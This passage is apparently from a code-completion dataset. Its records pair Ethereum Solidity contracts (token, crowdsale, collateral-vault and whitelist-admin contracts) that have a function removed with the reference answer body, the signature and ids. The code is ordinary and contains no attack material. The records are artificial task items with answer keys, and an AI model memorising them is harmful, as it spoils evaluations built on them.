contract iCollateralVaultProxy { using SafeERC20 for IERC20; using Address for address; using SafeMath for uint256; mapping (address => address[]) private _ownedVaults; mapping (address => address) private _vaults; // Spending limits per user measured in dollars 1e8 mapping (address => mapping (address => uint256)) private _limits; address public constant aave = address(0x24a42fD28C976A61Df5D00D0599C34c4f90748c8); address public constant link = address(0xF79D6aFBb6dA890132F9D7c355e3015f15F3406F); constructor() public { deployVault(); } function limit(address vault, address spender) public view returns (uint256) { return _limits[vault][spender]; } function increaseLimit(address vault, address spender, uint256 addedValue) public { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); _approve(vault, spender, _limits[vault][spender].add(addedValue)); } function decreaseLimit(address vault, address spender, uint256 subtractedValue) public { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); _approve(vault, spender, _limits[vault][spender].sub(subtractedValue, "decreased limit below zero")); } function _approve(address vault, address spender, uint256 amount) internal { require(spender != address(0), "approve to the zero address"); _limits[vault][spender] = amount; } function isVaultOwner(address vault, address owner) public view returns (bool) { return _vaults[vault] == owner; } function isVault(address vault) public view returns (bool) { return _vaults[vault] != address(0); } // LP deposit, anyone can deposit/topup function deposit(iCollateralVault vault, address reserve, uint256 amount) external { IERC20(reserve).safeTransferFrom(msg.sender, address(this), amount); IERC20(reserve).safeTransfer(address(vault), amount); vault.activate(reserve); } // No logic, handled underneath by Aave function withdraw(iCollateralVault vault, address reserve, uint256 amount) external { require(isVaultOwner(address(vault), msg.sender), "not vault owner"); vault.withdraw(reserve, amount, msg.sender); } // amount needs to be normalized function borrow(iCollateralVault vault, address reserve, uint256 amount) external { uint256 _borrow = getReservePriceUSD(reserve).mul(amount); _approve(address(vault), msg.sender, _limits[address(vault)][msg.sender].sub(_borrow, "borrow amount exceeds allowance")); vault.borrow(reserve, amount, msg.sender); } function repay(iCollateralVault vault, address reserve, uint256 amount) public { IERC20(reserve).safeTransferFrom(msg.sender, address(this), amount); IERC20(reserve).safeTransfer(address(vault), amount); vault.repay(reserve, amount); } function getVaults(address owner) external view returns (address[] memory) { return _ownedVaults[owner]; } function deployVault() public returns (address) { address vault = address(new iCollateralVault()); // Mark address as vault _vaults[vault] = msg.sender; // Set vault owner address[] storage owned = _ownedVaults[msg.sender]; owned.push(vault); _ownedVaults[msg.sender] = owned; return vault; } function getAave() public view returns (address) { return LendingPoolAddressesProvider(aave).getLendingPool(); } function getAaveCore() public view returns (address) { return LendingPoolAddressesProvider(aave).getLendingPoolCore(); } <FILL_FUNCTION> function getReservePriceETH(address reserve) public view returns (uint256) { return Oracle(getAaveOracle()).getAssetPrice(reserve); } function getReservePriceUSD(address reserve) public view returns (uint256) { return getReservePriceETH(reserve).mul(Oracle(link).latestAnswer()); } }
return LendingPoolAddressesProvider(aave).getPriceOracle();
function getAaveOracle() public view returns (address)
function getAaveOracle() public view returns (address)
64087
Lockcoin
null
contract Lockcoin is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; string public name; uint8 public decimals; string public symbol; address public owner; constructor() public {<FILL_FUNCTION_BODY> } modifier onlyOwner(){ require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner{ owner = _newOwner; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function() payable public { revert(); } }
contract Lockcoin is ERC20, BasicToken { mapping (address => mapping (address => uint256)) internal allowed; string public name; uint8 public decimals; string public symbol; address public owner; <FILL_FUNCTION> modifier onlyOwner(){ require(msg.sender == owner); _; } function changeOwner(address _newOwner) public onlyOwner{ owner = _newOwner; } /** * @dev Transfer tokens from one address to another * @param _from address The address which you want to send tokens from * @param _to address The address which you want to transfer to * @param _value uint256 the amount of tokens to be transferred */ function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { require(_to != address(0)); require(_value <= balances[_from]); require(_value <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); Transfer(_from, _to, _value); return true; } /** * @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender. * * Beware that changing an allowance with this method brings the risk that someone may use both the old * and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this * race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * @param _spender The address which will spend the funds. * @param _value The amount of tokens to be spent. */ function approve(address _spender, uint256 _value) public returns (bool) { allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } /** * @dev Function to check the amount of tokens that an owner allowed to a spender. * @param _owner address The address which owns the funds. * @param _spender address The address which will spend the funds. * @return A uint256 specifying the amount of tokens still available for the spender. */ function allowance(address _owner, address _spender) public view returns (uint256) { return allowed[_owner][_spender]; } function() payable public { revert(); } }
decimals = 18; totalSupply_ = 320000000 * 10 ** uint256(decimals); balances[msg.sender] = totalSupply_; name = "Lockcoin"; symbol = "LOCK"; owner = msg.sender; Transfer(address(0x0), msg.sender , totalSupply_);
constructor() public
constructor() public
43205
StandardToken
transferFrom
contract StandardToken is IERC20,DateTimeLib { using SafeMathLib for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; string public constant symbol = "APC"; string public constant name = "AmpereX Coin"; uint _totalSupply = 10000000000 * 10 ** 6; uint8 public constant decimals = 6; function totalSupply() external constant returns (uint256) { return _totalSupply; } function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { return transferInternal(msg.sender, _to, _value); } function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) { require(_value > 0 && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
contract StandardToken is IERC20,DateTimeLib { using SafeMathLib for uint256; mapping(address => uint256) balances; mapping(address => mapping(address => uint256)) allowed; string public constant symbol = "APC"; string public constant name = "AmpereX Coin"; uint _totalSupply = 10000000000 * 10 ** 6; uint8 public constant decimals = 6; function totalSupply() external constant returns (uint256) { return _totalSupply; } function balanceOf(address _owner) external constant returns (uint256 balance) { return balances[_owner]; } function transfer(address _to, uint256 _value) public returns (bool success) { return transferInternal(msg.sender, _to, _value); } function transferInternal(address _from, address _to, uint256 _value) internal returns (bool success) { require(_value > 0 && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); emit Transfer(_from, _to, _value); return true; } <FILL_FUNCTION> function approve(address _spender, uint256 _value) public returns (bool success) { allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } }
require(_value > 0 && allowed[_from][msg.sender] >= _value && balances[_from] >= _value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); emit Transfer(_from, _to, _value); return true;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success)
85309
Crowdsale
refund
contract Crowdsale is Pausable { using SafeMath for uint; struct Backer { uint weiReceived; // amount of ETH contributed uint tokensToSend; // amount of tokens sent bool refunded; } Token public token; // Token contract reference address public multisig; // Multisig contract that will receive the ETH address public team; // Address at which the team tokens will be sent uint public ethReceivedPresale; // Number of ETH received in presale uint public ethReceivedMain; // Number of ETH received in public sale uint public tokensSentPresale; // Tokens sent during presale uint public tokensSentMain; // Tokens sent during public ICO uint public totalTokensSent; // Total number of tokens sent to contributors uint public startBlock; // Crowdsale start block uint public endBlock; // Crowdsale end block uint public maxCap; // Maximum number of tokens to sell uint public minInvestETH; // Minimum amount to invest bool public crowdsaleClosed; // Is crowdsale still in progress Step public currentStep; // To allow for controlled steps of the campaign uint public refundCount; // Number of refunds uint public totalRefunded; // Total amount of Eth refunded uint public numOfBlocksInMinute; // number of blocks in one minute * 100. eg. WhiteList public whiteList; // whitelist contract uint public tokenPriceWei; // Price of token in wei mapping(address => Backer) public backers; // contributors list address[] public backersIndex; // to be able to iterate through backers for verification. uint public priorTokensSent; uint public presaleCap; // @notice to verify if action is not performed out of the campaign range modifier respectTimeFrame() { require(block.number >= startBlock && block.number <= endBlock); _; } // @notice to set and determine steps of crowdsale enum Step { FundingPreSale, // presale mode FundingPublicSale, // public mode Refunding // in case campaign failed during this step contributors will be able to receive refunds } // Events event ReceivedETH(address indexed backer, uint amount, uint tokenAmount); event RefundETH(address indexed backer, uint amount); // Crowdsale {constructor} // @notice fired when contract is crated. Initializes all constant and initial values. // @param _dollarToEtherRatio {uint} how many dollars are in one eth. $333.44/ETH would be passed as 33344 function Crowdsale(WhiteList _whiteList) public { require(_whiteList != address(0)); multisig = 0x10f78f2a70B52e6c3b490113c72Ba9A90ff1b5CA; team = 0x10f78f2a70B52e6c3b490113c72Ba9A90ff1b5CA; maxCap = 1510000000e8; minInvestETH = 1 ether/2; currentStep = Step.FundingPreSale; numOfBlocksInMinute = 408; // E.g. 4.38 block/per minute wold be entered as 438 priorTokensSent = 4365098999e7; //tokens distributed in private sale and airdrops whiteList = _whiteList; // white list address presaleCap = 160000000e8; // max for sell in presale tokenPriceWei = 57142857142857; // 17500 tokens per ether } // @notice Specify address of token contract // @param _tokenAddress {address} address of token contract // @return res {bool} function setTokenAddress(Token _tokenAddress) external onlyOwner() returns(bool res) { require(token == address(0)); token = _tokenAddress; return true; } // @notice set the step of the campaign from presale to public sale // contract is deployed in presale mode // WARNING: there is no way to go back function advanceStep() public onlyOwner() { require(Step.FundingPreSale == currentStep); currentStep = Step.FundingPublicSale; minInvestETH = 1 ether/4; } // @notice in case refunds are needed, money can be returned to the contract // and contract switched to mode refunding function prepareRefund() public payable onlyOwner() { require(crowdsaleClosed); require(msg.value == ethReceivedPresale.add(ethReceivedMain)); // make sure that proper amount of ether is sent currentStep = Step.Refunding; } // @notice return number of contributors // @return {uint} number of contributors function numberOfBackers() public view returns(uint) { return backersIndex.length; } // {fallback function} // @notice It will call internal function which handles allocation of Ether and calculates tokens. // Contributor will be instructed to specify sufficient amount of gas. e.g. 250,000 function () external payable { contribute(msg.sender); } // @notice It will be called by owner to start the sale function start(uint _block) external onlyOwner() { require(startBlock == 0); require(_block <= (numOfBlocksInMinute * 60 * 24 * 54)/100); // allow max 54 days for campaign startBlock = block.number; endBlock = startBlock.add(_block); } // @notice Due to changing average of block time // this function will allow on adjusting duration of campaign closer to the end function adjustDuration(uint _block) external onlyOwner() { require(startBlock > 0); require(_block < (numOfBlocksInMinute * 60 * 24 * 60)/100); // allow for max of 60 days for campaign require(_block > block.number.sub(startBlock)); // ensure that endBlock is not set in the past endBlock = startBlock.add(_block); } // @notice It will be called by fallback function whenever ether is sent to it // @param _backer {address} address of contributor // @return res {bool} true if transaction was successful function contribute(address _backer) internal whenNotPaused() respectTimeFrame() returns(bool res) { require(!crowdsaleClosed); require(whiteList.isWhiteListed(_backer)); // ensure that user is whitelisted uint tokensToSend = determinePurchase(); Backer storage backer = backers[_backer]; if (backer.weiReceived == 0) backersIndex.push(_backer); backer.tokensToSend += tokensToSend; // save contributor's total tokens sent backer.weiReceived = backer.weiReceived.add(msg.value); // save contributor's total ether contributed if (Step.FundingPublicSale == currentStep) { // Update the total Ether received and tokens sent during public sale ethReceivedMain = ethReceivedMain.add(msg.value); tokensSentMain += tokensToSend; }else { // Update the total Ether recived and tokens sent during presale ethReceivedPresale = ethReceivedPresale.add(msg.value); tokensSentPresale += tokensToSend; } totalTokensSent += tokensToSend; // update the total amount of tokens sent multisig.transfer(address(this).balance); // transfer funds to multisignature wallet require(token.transfer(_backer, tokensToSend)); // Transfer tokens emit ReceivedETH(_backer, msg.value, tokensToSend); // Register event return true; } // @notice determine if purchase is valid and return proper number of tokens // @return tokensToSend {uint} proper number of tokens based on the timline function determinePurchase() internal view returns (uint) { require(msg.value >= minInvestETH); // ensure that min contributions amount is met uint tokensToSend = msg.value.mul(1e8) / tokenPriceWei; //1e8 ensures that token gets 8 decimal values if (Step.FundingPublicSale == currentStep) { // calculate price of token in public sale require(totalTokensSent + tokensToSend + priorTokensSent <= maxCap); // Ensure that max cap hasn't been reached }else { tokensToSend += (tokensToSend * 50) / 100; require(totalTokensSent + tokensToSend <= presaleCap); // Ensure that max cap hasn't been reached for presale } return tokensToSend; } // @notice This function will finalize the sale. // It will only execute if predetermined sale time passed or all tokens are sold. // it will fail if minimum cap is not reached function finalize() external onlyOwner() { require(!crowdsaleClosed); // purchasing precise number of tokens might be impractical, thus subtract 1000 // tokens so finalization is possible near the end require(block.number >= endBlock || totalTokensSent + priorTokensSent >= maxCap - 1000); crowdsaleClosed = true; require(token.transfer(team, token.balanceOf(this))); // transfer all remaining tokens to team address token.unlock(); } // @notice Fail-safe drain function drain() external onlyOwner() { multisig.transfer(address(this).balance); } // @notice Fail-safe token transfer function tokenDrain() external onlyOwner() { if (block.number > endBlock) { require(token.transfer(multisig, token.balanceOf(this))); } } // @notice it will allow contributors to get refund in case campaign failed // @return {bool} true if successful function refund() external whenNotPaused() returns (bool) {<FILL_FUNCTION_BODY> } }
contract Crowdsale is Pausable { using SafeMath for uint; struct Backer { uint weiReceived; // amount of ETH contributed uint tokensToSend; // amount of tokens sent bool refunded; } Token public token; // Token contract reference address public multisig; // Multisig contract that will receive the ETH address public team; // Address at which the team tokens will be sent uint public ethReceivedPresale; // Number of ETH received in presale uint public ethReceivedMain; // Number of ETH received in public sale uint public tokensSentPresale; // Tokens sent during presale uint public tokensSentMain; // Tokens sent during public ICO uint public totalTokensSent; // Total number of tokens sent to contributors uint public startBlock; // Crowdsale start block uint public endBlock; // Crowdsale end block uint public maxCap; // Maximum number of tokens to sell uint public minInvestETH; // Minimum amount to invest bool public crowdsaleClosed; // Is crowdsale still in progress Step public currentStep; // To allow for controlled steps of the campaign uint public refundCount; // Number of refunds uint public totalRefunded; // Total amount of Eth refunded uint public numOfBlocksInMinute; // number of blocks in one minute * 100. eg. WhiteList public whiteList; // whitelist contract uint public tokenPriceWei; // Price of token in wei mapping(address => Backer) public backers; // contributors list address[] public backersIndex; // to be able to iterate through backers for verification. uint public priorTokensSent; uint public presaleCap; // @notice to verify if action is not performed out of the campaign range modifier respectTimeFrame() { require(block.number >= startBlock && block.number <= endBlock); _; } // @notice to set and determine steps of crowdsale enum Step { FundingPreSale, // presale mode FundingPublicSale, // public mode Refunding // in case campaign failed during this step contributors will be able to receive refunds } // Events event ReceivedETH(address indexed backer, uint amount, uint tokenAmount); event RefundETH(address indexed backer, uint amount); // Crowdsale {constructor} // @notice fired when contract is crated. Initializes all constant and initial values. // @param _dollarToEtherRatio {uint} how many dollars are in one eth. $333.44/ETH would be passed as 33344 function Crowdsale(WhiteList _whiteList) public { require(_whiteList != address(0)); multisig = 0x10f78f2a70B52e6c3b490113c72Ba9A90ff1b5CA; team = 0x10f78f2a70B52e6c3b490113c72Ba9A90ff1b5CA; maxCap = 1510000000e8; minInvestETH = 1 ether/2; currentStep = Step.FundingPreSale; numOfBlocksInMinute = 408; // E.g. 4.38 block/per minute wold be entered as 438 priorTokensSent = 4365098999e7; //tokens distributed in private sale and airdrops whiteList = _whiteList; // white list address presaleCap = 160000000e8; // max for sell in presale tokenPriceWei = 57142857142857; // 17500 tokens per ether } // @notice Specify address of token contract // @param _tokenAddress {address} address of token contract // @return res {bool} function setTokenAddress(Token _tokenAddress) external onlyOwner() returns(bool res) { require(token == address(0)); token = _tokenAddress; return true; } // @notice set the step of the campaign from presale to public sale // contract is deployed in presale mode // WARNING: there is no way to go back function advanceStep() public onlyOwner() { require(Step.FundingPreSale == currentStep); currentStep = Step.FundingPublicSale; minInvestETH = 1 ether/4; } // @notice in case refunds are needed, money can be returned to the contract // and contract switched to mode refunding function prepareRefund() public payable onlyOwner() { require(crowdsaleClosed); require(msg.value == ethReceivedPresale.add(ethReceivedMain)); // make sure that proper amount of ether is sent currentStep = Step.Refunding; } // @notice return number of contributors // @return {uint} number of contributors function numberOfBackers() public view returns(uint) { return backersIndex.length; } // {fallback function} // @notice It will call internal function which handles allocation of Ether and calculates tokens. // Contributor will be instructed to specify sufficient amount of gas. e.g. 250,000 function () external payable { contribute(msg.sender); } // @notice It will be called by owner to start the sale function start(uint _block) external onlyOwner() { require(startBlock == 0); require(_block <= (numOfBlocksInMinute * 60 * 24 * 54)/100); // allow max 54 days for campaign startBlock = block.number; endBlock = startBlock.add(_block); } // @notice Due to changing average of block time // this function will allow on adjusting duration of campaign closer to the end function adjustDuration(uint _block) external onlyOwner() { require(startBlock > 0); require(_block < (numOfBlocksInMinute * 60 * 24 * 60)/100); // allow for max of 60 days for campaign require(_block > block.number.sub(startBlock)); // ensure that endBlock is not set in the past endBlock = startBlock.add(_block); } // @notice It will be called by fallback function whenever ether is sent to it // @param _backer {address} address of contributor // @return res {bool} true if transaction was successful function contribute(address _backer) internal whenNotPaused() respectTimeFrame() returns(bool res) { require(!crowdsaleClosed); require(whiteList.isWhiteListed(_backer)); // ensure that user is whitelisted uint tokensToSend = determinePurchase(); Backer storage backer = backers[_backer]; if (backer.weiReceived == 0) backersIndex.push(_backer); backer.tokensToSend += tokensToSend; // save contributor's total tokens sent backer.weiReceived = backer.weiReceived.add(msg.value); // save contributor's total ether contributed if (Step.FundingPublicSale == currentStep) { // Update the total Ether received and tokens sent during public sale ethReceivedMain = ethReceivedMain.add(msg.value); tokensSentMain += tokensToSend; }else { // Update the total Ether recived and tokens sent during presale ethReceivedPresale = ethReceivedPresale.add(msg.value); tokensSentPresale += tokensToSend; } totalTokensSent += tokensToSend; // update the total amount of tokens sent multisig.transfer(address(this).balance); // transfer funds to multisignature wallet require(token.transfer(_backer, tokensToSend)); // Transfer tokens emit ReceivedETH(_backer, msg.value, tokensToSend); // Register event return true; } // @notice determine if purchase is valid and return proper number of tokens // @return tokensToSend {uint} proper number of tokens based on the timline function determinePurchase() internal view returns (uint) { require(msg.value >= minInvestETH); // ensure that min contributions amount is met uint tokensToSend = msg.value.mul(1e8) / tokenPriceWei; //1e8 ensures that token gets 8 decimal values if (Step.FundingPublicSale == currentStep) { // calculate price of token in public sale require(totalTokensSent + tokensToSend + priorTokensSent <= maxCap); // Ensure that max cap hasn't been reached }else { tokensToSend += (tokensToSend * 50) / 100; require(totalTokensSent + tokensToSend <= presaleCap); // Ensure that max cap hasn't been reached for presale } return tokensToSend; } // @notice This function will finalize the sale. // It will only execute if predetermined sale time passed or all tokens are sold. // it will fail if minimum cap is not reached function finalize() external onlyOwner() { require(!crowdsaleClosed); // purchasing precise number of tokens might be impractical, thus subtract 1000 // tokens so finalization is possible near the end require(block.number >= endBlock || totalTokensSent + priorTokensSent >= maxCap - 1000); crowdsaleClosed = true; require(token.transfer(team, token.balanceOf(this))); // transfer all remaining tokens to team address token.unlock(); } // @notice Fail-safe drain function drain() external onlyOwner() { multisig.transfer(address(this).balance); } // @notice Fail-safe token transfer function tokenDrain() external onlyOwner() { if (block.number > endBlock) { require(token.transfer(multisig, token.balanceOf(this))); } } <FILL_FUNCTION> }
require(currentStep == Step.Refunding); Backer storage backer = backers[msg.sender]; require(backer.weiReceived > 0); // ensure that user has sent contribution require(!backer.refunded); // ensure that user hasn't been refunded yet backer.refunded = true; // save refund status to true refundCount++; totalRefunded = totalRefunded + backer.weiReceived; require(token.transfer(msg.sender, backer.tokensToSend)); // return allocated tokens msg.sender.transfer(backer.weiReceived); // send back the contribution emit RefundETH(msg.sender, backer.weiReceived); return true;
function refund() external whenNotPaused() returns (bool)
// @notice it will allow contributors to get refund in case campaign failed // @return {bool} true if successful function refund() external whenNotPaused() returns (bool)
9158
SnowDCoin
approveAndCall
contract SnowDCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SnowDCoin() public { symbol = "SDC"; name = "SnowD Coin"; decimals = 18; _totalSupply = 50000000000000000000000000; balances[0xA0c9d96fcbc76bF652da06C80d121Be22EB9691d] = _totalSupply; Transfer(address(0), 0xA0c9d96fcbc76bF652da06C80d121Be22EB9691d, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {<FILL_FUNCTION_BODY> } // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
contract SnowDCoin is ERC20Interface, Owned, SafeMath { string public symbol; string public name; uint8 public decimals; uint public _totalSupply; mapping(address => uint) balances; mapping(address => mapping(address => uint)) allowed; // ------------------------------------------------------------------------ // Constructor // ------------------------------------------------------------------------ function SnowDCoin() public { symbol = "SDC"; name = "SnowD Coin"; decimals = 18; _totalSupply = 50000000000000000000000000; balances[0xA0c9d96fcbc76bF652da06C80d121Be22EB9691d] = _totalSupply; Transfer(address(0), 0xA0c9d96fcbc76bF652da06C80d121Be22EB9691d, _totalSupply); } // ------------------------------------------------------------------------ // Total supply // ------------------------------------------------------------------------ function totalSupply() public constant returns (uint) { return _totalSupply - balances[address(0)]; } // ------------------------------------------------------------------------ // Get the token balance for account tokenOwner // ------------------------------------------------------------------------ function balanceOf(address tokenOwner) public constant returns (uint balance) { return balances[tokenOwner]; } // ------------------------------------------------------------------------ // Transfer the balance from token owner's account to to account // - Owner's account must have sufficient balance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transfer(address to, uint tokens) public returns (bool success) { balances[msg.sender] = safeSub(balances[msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(msg.sender, to, tokens); return true; } // ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account // // https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md // recommends that there are no checks for the approval double-spend attack // as this should be implemented in user interfaces // ------------------------------------------------------------------------ function approve(address spender, uint tokens) public returns (bool success) { allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); return true; } // ------------------------------------------------------------------------ // Transfer tokens from the from account to the to account // // The calling account must already have sufficient tokens approve(...)-d // for spending from the from account and // - From account must have sufficient balance to transfer // - Spender must have sufficient allowance to transfer // - 0 value transfers are allowed // ------------------------------------------------------------------------ function transferFrom(address from, address to, uint tokens) public returns (bool success) { balances[from] = safeSub(balances[from], tokens); allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens); balances[to] = safeAdd(balances[to], tokens); Transfer(from, to, tokens); return true; } // ------------------------------------------------------------------------ // Returns the amount of tokens approved by the owner that can be // transferred to the spender's account // ------------------------------------------------------------------------ function allowance(address tokenOwner, address spender) public constant returns (uint remaining) { return allowed[tokenOwner][spender]; } <FILL_FUNCTION> // ------------------------------------------------------------------------ // Don't accept ETH // ------------------------------------------------------------------------ function () public payable { revert(); } // ------------------------------------------------------------------------ // Owner can transfer out any accidentally sent ERC20 tokens // ------------------------------------------------------------------------ function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) { return ERC20Interface(tokenAddress).transfer(owner, tokens); } }
allowed[msg.sender][spender] = tokens; Approval(msg.sender, spender, tokens); ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data); return true;
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
// ------------------------------------------------------------------------ // Token owner can approve for spender to transferFrom(...) tokens // from the token owner's account. The spender contract function // receiveApproval(...) is then executed // ------------------------------------------------------------------------ function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success)
39445
NonRevocableWhitelistAdmin
_setNonRevocableWhitelistAdmin
contract NonRevocableWhitelistAdmin { address private _nonRevocableWhitelistAdmin; event NewNonRevocableWhitelistAdmin(address indexed account); function setNonRevocableWhitelistAdmin(address account) public onlyNonRevocableWhitelistAdmin { _setNonRevocableWhitelistAdmin(account); } function isNonRevocableWhitelistAdmin(address account) public view returns (bool) { return account == _nonRevocableWhitelistAdmin; } function getNonRevocableWhitelistAdmin() public view returns (address) { return _nonRevocableWhitelistAdmin; } function _setNonRevocableWhitelistAdmin(address account) internal {<FILL_FUNCTION_BODY> } modifier onlyRevocableWhitelistAdmin() { require(msg.sender != _nonRevocableWhitelistAdmin, "Only revocable whitelist admins are allowed"); _; } modifier onlyNonRevocableWhitelistAdmin() { require(msg.sender == _nonRevocableWhitelistAdmin, "Only non-revocable admins are allowed"); _; } }
contract NonRevocableWhitelistAdmin { address private _nonRevocableWhitelistAdmin; event NewNonRevocableWhitelistAdmin(address indexed account); function setNonRevocableWhitelistAdmin(address account) public onlyNonRevocableWhitelistAdmin { _setNonRevocableWhitelistAdmin(account); } function isNonRevocableWhitelistAdmin(address account) public view returns (bool) { return account == _nonRevocableWhitelistAdmin; } function getNonRevocableWhitelistAdmin() public view returns (address) { return _nonRevocableWhitelistAdmin; } <FILL_FUNCTION> modifier onlyRevocableWhitelistAdmin() { require(msg.sender != _nonRevocableWhitelistAdmin, "Only revocable whitelist admins are allowed"); _; } modifier onlyNonRevocableWhitelistAdmin() { require(msg.sender == _nonRevocableWhitelistAdmin, "Only non-revocable admins are allowed"); _; } }
require(account != _nonRevocableWhitelistAdmin, "New and old non-revocable whitelist admins cannot be the same"); require(account != address(0), "Cannot set the zero address as non-revocable whitelist admin"); _nonRevocableWhitelistAdmin = account; emit NewNonRevocableWhitelistAdmin(account);
function _setNonRevocableWhitelistAdmin(address account) internal
function _setNonRevocableWhitelistAdmin(address account) internal
25645
MilinfinityToken
Distribute
